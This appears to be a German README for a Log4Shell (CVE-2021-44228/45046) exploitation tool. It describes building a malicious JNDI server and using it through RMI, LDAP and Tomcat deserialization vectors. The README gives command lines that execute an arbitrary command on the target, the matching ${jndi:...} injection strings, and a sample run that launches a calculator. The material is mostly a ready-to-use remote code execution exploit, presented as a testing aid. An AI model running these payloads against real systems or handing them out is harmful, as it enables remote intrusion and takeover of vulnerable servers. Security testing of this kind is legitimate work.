Log4j-JNDIServer

Dieses Projekt hilft, die Log4j-Schwachstellen CVE-2021-44228/CVE-2021-45046 zu testen.

Installation und Erstellung

• Laden Sie das Projekt in Intellij Idea
• Wählen Sie JDK in "Projects Settings" (CTRL + ALT + SHIFT + S)
• In "Project Settings", erstellen Sie das Artifact -> "Artifacts" -> "Create JAR from Modules" -> In "JAR files from libraries", markieren Sie "extract to target JAR" -> "OK"
• Projekt erstellen (CTRL + F9). Dadurch wird die JAR-Datei im Ordner /out/artifacts/ erstellt.

Erstellung mit Maven

Erfordert Java 1.8+ und Maven 3.x+

• mvn clean package -DskipTests
• Sie finden die .jar-Datei im Ordner /target

Verwendung

1.RMI-Angriffsvektor

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 1 <RMI_IP> <RMI_PORT> <HTTP_PORT> <COMMAND>

Sie müssen die Exploit.class nicht mehr hosten. Die App startet einen HTTP-Server auf dem angegebenen Port.

Sie müssen den Befehl angeben, den Sie auf dem Ziel ausführen möchten.

Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}

2.LDAP-Angriffsvektor

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 2 <LDAP_IP> <LDAP_PORT> <HTTP_PORT> <COMMAND>

Sie müssen die Exploit.class nicht mehr hosten. Die App startet einen HTTP-Server auf dem angegebenen Port.

Sie müssen den Befehl angeben, den Sie auf dem Ziel ausführen möchten.

Injection: {jndi:ldap://<LDAP_IP>:<LDAP_PORT>/Exploit}

3.Deserialisierungs-Angriffsvektor (unter Verwendung von Tomcat-Payload)

java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 <RMI_IP> <RMI_PORT> <COMMAND>

Injection: {jndi:rmi://<RMI_IP>:<RMI_PORT>/Foo}

Beispiel

$ java -jar Log4j-JNDIServer-1.0-SNAPSHOT-all.jar 3 127.0.0.1 1389 /usr/bin/gnome-calculator
- Starting RMI Server for Tomcat  -
- Creating RMI Server on port 1389 -
- Reference bound! -
- RMI server started at 127.0.0.1:1389 -
- Log4J Injection Path: ${jndi:rmi://127.0.0.1:1389/Foo} -